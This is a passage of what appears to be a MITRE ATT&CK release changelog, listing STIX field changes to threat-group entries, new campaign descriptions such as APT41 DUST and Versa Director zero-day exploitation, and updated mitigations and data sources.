| external_references | | {'source_name': 'mandiant_apt44_unearthing_sandworm', 'description': 'Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf'} |
| x_mitre_contributors | | Hakan KARABACAK |
[G0010] Turla
Current version: 5.1
Version changed from: 5.0 → 5.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:12:21.483000+00:00 | 2024-06-26 18:09:33.862000+00:00 |
| x_mitre_version | 5.0 | 5.1 |
[G0128] ZIRCONIUM
Current version: 2.1
Version changed from: 2.0 → 2.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-08 22:16:18.643000+00:00 | 2024-10-10 14:32:51.085000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Patches
[G0025] APT17
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-13 22:33:14.018000+00:00 | 2024-09-04 17:04:35.669000+00:00 |
| external_references[3]['url'] | https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf | https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf |
[G0022] APT3
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-06 17:49:35.261000+00:00 | 2024-09-16 16:18:53.978000+00:00 |
| external_references[9]['description'] | Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017. | Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved September 16, 2024. |
| external_references[9]['url'] | https://www.recordedfuture.com/chinese-mss-behind-apt3/ | https://www.recordedfuture.com/research/chinese-mss-behind-apt3 |
[G0082] APT38
Current version: 3.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:08:29.146000+00:00 | 2024-08-26 16:33:33.984000+00:00 |
| external_references[11]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf |
[G1024] Akira
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-08 17:35:16.134000+00:00 | 2024-10-03 10:32:50.221000+00:00 |
[G0138] Andariel
Current version: 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-08 21:55:29.570000+00:00 | 2024-09-12 18:36:06.078000+00:00 |
| external_references[5]['url'] | http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf | https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf |
| external_references[8]['description'] | FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 29, 2021. | FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024. |
| external_references[8]['url'] | https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do | https://fsiceat.tistory.com/2 |
| external_references[9]['description'] | IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 29, 2021. | IssueMakersLab. (2017, May 1). Operation GoldenAxe. Retrieved September 12, 2024. |
[G0114] Chimera
Current version: 2.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-22 03:25:24.295000+00:00 | 2024-09-12 19:24:40.416000+00:00 |
| external_references[2]['description'] | Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020. | Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.. |
| external_references[3]['description'] | Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021. | Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024. |
| external_references[3]['url'] | https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/ | https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[G1006] Earth Lusca
Current version: 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-10 21:38:24.226000+00:00 | 2024-09-16 16:18:00.876000+00:00 |
| external_references[6]['description'] | INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022. | INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024. |
| external_references[6]['url'] | https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan | https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan |
[G0139] TeamTNT
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-10 22:34:04.070000+00:00 | 2024-09-16 16:23:56.908000+00:00 |
| external_references[9]['description'] | Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 22, 2021. | Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024. |
| external_references[9]['url'] | https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/ | https://www.lacework.com/blog/taking-teamtnt-docker-images-offline |
[G0045] menuPass
Current version: 3.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 00:47:44.925000+00:00 | 2024-09-19 14:30:03.922000+00:00 |
| external_references[14]['description'] | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014. | FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024. |
| external_references[14]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf | https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf |
mobile-attack
Minor Version Changes
[G0007] APT28
Current version: 5.1
Version changed from: 5.0 → 5.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-04 19:07:48.903000+00:00 | 2024-10-10 14:31:01.968000+00:00 |
| x_mitre_version | 5.0 | 5.1 |
[G0034] Sandworm Team
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-06 19:05:38.712000+00:00 | 2024-09-12 17:37:44.040000+00:00 |
| external_references[21]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024. |
| external_references[21]['url'] | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | APT44 |
| external_references | | {'source_name': 'APT44', 'description': '(Citation: mandiant_apt44_unearthing_sandworm)'} |
| external_references | | {'source_name': 'mandiant_apt44_unearthing_sandworm', 'description': 'Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf'} |
| x_mitre_contributors | | Hakan KARABACAK |
Patches
[G1006] Earth Lusca
Current version: 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-10 21:38:24.226000+00:00 | 2024-09-16 16:18:00.876000+00:00 |
| external_references[6]['description'] | INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 2, 2022. | INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024. |
| external_references[6]['url'] | https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan | https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan |
ics-attack
Minor Version Changes
[G1001] HEXANE
Current version: 2.3
Version changed from: 2.2 → 2.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-09 19:27:00.371000+00:00 | 2024-08-14 15:24:19.141000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
[G0049] OilRig
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 16:06:34.698000+00:00 | 2024-09-04 20:33:04.739000+00:00 |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | ITG13 |
| external_references | | {'source_name': 'ITG13', 'description': '(Citation: IBM ZeroCleare Wiper December 2019)'} |
| external_references | | {'source_name': 'IBM ZeroCleare Wiper December 2019', 'description': 'Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.', 'url': 'https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/'} |
[G0034] Sandworm Team
Current version: 4.1
Version changed from: 4.0 → 4.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-06 19:05:38.712000+00:00 | 2024-09-12 17:37:44.040000+00:00 |
| external_references[21]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024. |
| external_references[21]['url'] | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html | https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html |
| x_mitre_version | 4.0 | 4.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| aliases | | APT44 |
| external_references | | {'source_name': 'APT44', 'description': '(Citation: mandiant_apt44_unearthing_sandworm)'} |
| external_references | | {'source_name': 'mandiant_apt44_unearthing_sandworm', 'description': 'Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.', 'url': 'https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf'} |
| x_mitre_contributors | | Hakan KARABACAK |
Patches
[G0082] APT38
Current version: 3.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-17 22:08:29.146000+00:00 | 2024-08-26 16:33:33.984000+00:00 |
| external_references[11]['url'] | https://content.fireeye.com/apt/rpt-apt38 | https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf |
Campaigns
enterprise-attack
New Campaigns
[C0040] APT41 DUST
Current version: 1.0
Description: [APT41 DUST](https://attack.mitre.org/campaigns/C0040) was conducted by [APT41](https://attack.mitre.org/groups/G0096) from 2023 to July 2024 against entities in Europe, Asia, and the Middle East. [APT41 DUST](https://attack.mitre.org/campaigns/C0040) targeted sectors such as shipping, logistics, and media for information gathering purposes. [APT41](https://attack.mitre.org/groups/G0096) used previously-observed malware such as [DUSTPAN](https://attack.mitre.org/software/S1158) as well as newly observed tools such as [DUSTTRAP](https://attack.mitre.org/software/S1159) in [APT41 DUST](https://attack.mitre.org/campaigns/C0040).(Citation: Google Cloud APT41 2024)
[C0038] HomeLand Justice
Current version: 1.0
Description: [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was a disruptive campaign involving the use of ransomware, wiper malware, and sensitive information leaks conducted by Iranian state cyber actors against Albanian government networks in July and September 2022. Initial access for [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was established in May 2021 as threat actors subsequently moved laterally, exfiltrated sensitive information, and maintained persistence for approximately 14 months prior to the attacks. Responsibility was claimed by the "HomeLand Justice" front whose messaging indicated targeting of the Mujahedeen-e Khalq (MEK), an Iranian opposition group who maintain a refugee camp in Albania, and were formerly designated a terrorist organization by the US State Department.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022) A second wave of attacks was launched in September 2022 using similar tactics after public attribution of the previous activity to Iran and the severing of diplomatic ties between Iran and Albania.(Citation: CISA Iran Albanian Attacks September 2022)
[C0035] KV Botnet Activity
Current version: 1.0
Description: [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) consisted of exploitation of primarily “end-of-life” small office-home office (SOHO) equipment from manufacturers such as Cisco, NETGEAR, and DrayTek. [KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) was used by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to obfuscate connectivity to victims in multiple critical infrastructure segments, including energy and telecommunication companies and entities based on the US territory of Guam. While the KV Botnet is the most prominent element of this campaign, it overlaps with another botnet cluster referred to as the JDY cluster.(Citation: Lumen KVBotnet 2023) This botnet was disrupted by US law enforcement entities in early 2024 after periods of activity from October 2022 through January 2024.(Citation: DOJ KVBotnet 2024)
[C0036] Pikabot Distribution February 2024
Current version: 1.0
Description: [Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Pikabot Distribution February 2024](https://attack.mitre.org/campaigns/C0036) using malicious emails with embedded links leading to malicious ZIP archives requiring user interaction for follow-on infection. The version of [Pikabot](https://attack.mitre.org/software/S1145) distributed featured significant changes over the 2023 variant, including reduced code complexity and simplified obfuscation mechanisms.(Citation: Elastic Pikabot 2024)(Citation: Zscaler Pikabot 2024)
[C0039] Versa Director Zero Day Exploitation
Current version: 1.0
Description: [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was conducted by [Volt Typhoon](https://attack.mitre.org/groups/G1017) from early June through August 2024 as zero-day exploitation of Versa Director servers controlling software-defined wide area network (SD-WAN) applications. Since tracked as CVE-2024-39717, exploitation focused on credential capture from compromised Versa Director servers at managed service providers (MSPs) and internet service providers (ISPs) to enable follow-on access to service provider clients. [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) was followed by the delivery of the [VersaMem](https://attack.mitre.org/software/S1154) web shell for both credential theft and follow-on code execution.(Citation: Lumen Versa 2024)
[C0037] Water Curupira Pikabot Distribution
Current version: 1.0
Description: [Pikabot](https://attack.mitre.org/software/S1145) was distributed in [Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) throughout 2023 by an entity linked to BlackBasta ransomware deployment via email attachments. This activity followed the take-down of [QakBot](https://attack.mitre.org/software/S0650), with several technical overlaps and similarities with [QakBot](https://attack.mitre.org/software/S0650), indicating a possible connection. The identified activity led to the deployment of tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154), while coinciding with campaigns delivering [DarkGate](https://attack.mitre.org/software/S1111) and [IcedID](https://attack.mitre.org/software/S0483) en route to ransomware deployment.(Citation: TrendMicro Pikabot 2024)
Minor Version Changes
[C0024] SolarWinds Compromise
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | The [SolarWinds Compromise](https://attack.mitre.org/campaig | t | The [SolarWinds Compromise](https://attack.mitre.org/campaig |
| ns/C0024) was a sophisticated supply chain cyber operation c | | ns/C0024) was a sophisticated supply chain cyber operation c |
| onducted by [APT29](https://attack.mitre.org/groups/G0016) t | | onducted by [APT29](https://attack.mitre.org/groups/G0016) t |
| hat was discovered in mid-December 2020. [APT29](https://att | | hat was discovered in mid-December 2020. [APT29](https://att |
| ack.mitre.org/groups/G0016) used customized malware to injec | | ack.mitre.org/groups/G0016) used customized malware to injec |
| t malicious code into the SolarWinds Orion software build pr | | t malicious code into the SolarWinds Orion software build pr |
| ocess that was later distributed through a normal software u | | ocess that was later distributed through a normal software u |
| pdate; they also used password spraying, token theft, API ab | | pdate; they also used password spraying, token theft, API ab |
| use, spear phishing, and other supply chain attacks to compr | | use, spear phishing, and other supply chain attacks to compr |
| omise user accounts and leverage their associated access. Vi | | omise user accounts and leverage their associated access. Vi |
| ctims of this campaign included government, consulting, tech | | ctims of this campaign included government, consulting, tech |
| nology, telecom, and other organizations in North America, E | | nology, telecom, and other organizations in North America, E |
| urope, Asia, and the Middle East. Industry reporting initial | | urope, Asia, and the Middle East. This activity has been lab |
| ly referred to the actors involved in this campaign as UNC24 | | led the StellarParticle campaign in industry reporting.(Cita |
| 52, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Ci | | tion: CrowdStrike StellarParticle January 2022) Industry rep |
| tation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds S | | orting also initially referred to the actors involved in thi |
| unburst Sunspot Update January 2021)(Citation: FireEye SUNBU | | s campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.( |
| RST Backdoor December 2020)(Citation: Volexity SolarWinds)(C | | Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds |
| itation: CrowdStrike StellarParticle January 2022)(Citation: | | Sunburst Sunspot Update January 2021)(Citation: FireEye SUN |
| Unit 42 SolarStorm December 2020)(Citation: Microsoft Analy | | BURST Backdoor December 2020)(Citation: Volexity SolarWinds) |
| zing Solorigate Dec 2020)(Citation: Microsoft Internal Solor | | (Citation: CrowdStrike StellarParticle January 2022)(Citatio |
| igate Investigation Blog) In April 2021, the US and UK gov | | n: Unit 42 SolarStorm December 2020)(Citation: Microsoft Ana |
| ernments attributed the [SolarWinds Compromise](https://atta | | lyzing Solorigate Dec 2020)(Citation: Microsoft Internal Sol |
| ck.mitre.org/campaigns/C0024) to Russia's Foreign Intelligen | | origate Investigation Blog) In April 2021, the US and UK g |
| ce Service (SVR); public statements included citations to [A | | overnments attributed the [SolarWinds Compromise](https://at |
| PT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and | | tack.mitre.org/campaigns/C0024) to Russia's Foreign Intellig |
| The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds Apri | | ence Service (SVR); public statements included citations to |
| l 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Cita | | [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, a |
| tion: Mandiant UNC2452 APT29 April 2022) The US government a | | nd The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds Ap |
| ssessed that of the approximately 18,000 affected public and | | ril 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Ci |
| private sector customers of Solar Winds’ Orion product, a m | | tation: Mandiant UNC2452 APT29 April 2022) The US government |
| uch smaller number were compromised by follow-on [APT29](htt | | assessed that of the approximately 18,000 affected public a |
| ps://attack.mitre.org/groups/G0016) activity on their system | | nd private sector customers of Solar Winds’ Orion product, a |
| s.(Citation: USG Joint Statement SolarWinds January 2021) | | much smaller number were compromised by follow-on [APT29](h |
| | | ttps://attack.mitre.org/groups/G0016) activity on their syst |
| | | ems.(Citation: USG Joint Statement SolarWinds January 2021) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 00:41:06.231000+00:00 | 2024-09-03 18:50:55.787000+00:00 |
| description | The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog)
In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) | The [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) was a sophisticated supply chain cyber operation conducted by [APT29](https://attack.mitre.org/groups/G0016) that was discovered in mid-December 2020. [APT29](https://attack.mitre.org/groups/G0016) used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a normal software update; they also used password spraying, token theft, API abuse, spear phishing, and other supply chain attacks to compromise user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. This activity has been labled the StellarParticle campaign in industry reporting.(Citation: CrowdStrike StellarParticle January 2022) Industry reporting also initially referred to the actors involved in this campaign as UNC2452, NOBELIUM, Dark Halo, and SolarStorm.(Citation: SolarWinds Advisory Dec 2020)(Citation: SolarWinds Sunburst Sunspot Update January 2021)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)(Citation: Unit 42 SolarStorm December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Microsoft Internal Solorigate Investigation Blog)
In April 2021, the US and UK governments attributed the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024) to Russia's Foreign Intelligence Service (SVR); public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021)(Citation: Mandiant UNC2452 APT29 April 2022) The US government assessed that of the approximately 18,000 affected public and private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on [APT29](https://attack.mitre.org/groups/G0016) activity on their systems.(Citation: USG Joint Statement SolarWinds January 2021) |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
Mitigations
enterprise-attack
New Mitigations
[M1060] Out-of-Band Communications Channel
Current version: 1.0
Description: Establish secure out-of-band communication channels to ensure the continuity of critical communications during security incidents, data integrity attacks, or in-network communication failures. Out-of-band communication refers to using an alternative, separate communication path that is not dependent on the potentially compromised primary network infrastructure. This method can include secure messaging apps, encrypted phone lines, satellite communications, or dedicated emergency communication systems. Leveraging these alternative channels reduces the risk of adversaries intercepting, disrupting, or tampering with sensitive communications and helps coordinate an effective incident response.(Citation: TrustedSec OOB Communications)(Citation: NIST Special Publication 800-53 Revision 5)
Minor Version Changes
[M1015] Active Directory Configuration
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Configure Active Directory to prevent use of certain techniq | t | Implement robust Active Directory configurations using group |
| ues; use SID Filtering, etc. | | policies to control access and reduce the attack surface. S |
| | | pecific examples include: * Account Configuration: Use prov |
| | | isioned domain accounts rather than local accounts to levera |
| | | ge centralized control and auditing capabilities. * Interact |
| | | ive Logon Restrictions: Enforce group policies that prohibit |
| | | interactive logons for accounts that should not directly ac |
| | | cess systems. * Remote Desktop Settings: Limit Remote Deskto |
| | | p logons to authorized accounts to prevent misuse by adversa |
| | | ries. * Dedicated Administrative Accounts: Create specialize |
| | | d domain-wide accounts that are restricted from interactive |
| | | logons but can perform specific tasks like installations or |
| | | repository access. * Authentication Silos: Configure Authent |
| | | ication Silos in Active Directory to create access zones wit |
| | | h restrictions based on membership in the Protected Users gl |
| | | obal security group. This setup enhances security by applyin |
| | | g additional protections to high-risk accounts, limiting the |
| | | ir exposure to potential attacks. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-05-29 16:34:40.344000+00:00 | 2024-10-08 17:01:33.131000+00:00 |
| description | Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc. | Implement robust Active Directory configurations using group policies to control access and reduce the attack surface. Specific examples include:
* Account Configuration: Use provisioned domain accounts rather than local accounts to leverage centralized control and auditing capabilities.
* Interactive Logon Restrictions: Enforce group policies that prohibit interactive logons for accounts that should not directly access systems.
* Remote Desktop Settings: Limit Remote Desktop logons to authorized accounts to prevent misuse by adversaries.
* Dedicated Administrative Accounts: Create specialized domain-wide accounts that are restricted from interactive logons but can perform specific tasks like installations or repository access.
* Authentication Silos: Configure Authentication Silos in Active Directory to create access zones with restrictions based on membership in the Protected Users global security group. This setup enhances security by applying additional protections to high-risk accounts, limiting their exposure to potential attacks. |
| x_mitre_version | 1.1 | 1.2 |
Patches
[M1047] Audit
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-31 14:50:47.704000+00:00 | 2024-10-17 18:53:08.707000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[M1043] Credential Access Protection
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 15:51:57.176000+00:00 | 2024-10-17 18:53:26.963000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[M1038] Execution Prevention
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-02-28 19:50:41.210000+00:00 | 2024-10-17 18:53:48.791000+00:00 |
[M1037] Filter Network Traffic
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 20:46:36.342000+00:00 | 2024-10-17 18:54:05.785000+00:00 |
[M1033] Limit Software Installation
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2019-06-11 16:26:52.202000+00:00 | 2024-10-17 18:54:20.898000+00:00 |
[M1031] Network Intrusion Prevention
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2019-06-10 20:46:02.263000+00:00 | 2024-10-17 18:54:36.723000+00:00 |
[M1026] Privileged Account Management
Current version: 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-31 13:08:36.655000+00:00 | 2024-10-17 18:55:04.576000+00:00 |
[M1017] User Training
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 19:08:13.228000+00:00 | 2024-10-17 18:55:19.798000+00:00 |
ics-attack
Minor Version Changes
[M0813] Software Process and Device Authentication
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-20 13:12:24.527000+00:00 | 2024-10-14 20:31:04.927000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
| labels[2] | NIST SP 800-53 Rev. 5 - IA-9 | NIST SP 800-53 Rev. 5 - IA-3 |
Data Sources
enterprise-attack
Patches
[DS0026] Active Directory
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-30T14:26:51.803Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
[DS0015] Application Log
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-05-11T14:00:00.188Z | 2024-10-14T22:11:30.271Z |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Office 365 | |
[DS0025] Cloud Service
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-30T14:26:51.804Z | 2024-10-14T22:11:30.271Z |
| x_mitre_platforms[3] | Office 365 | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
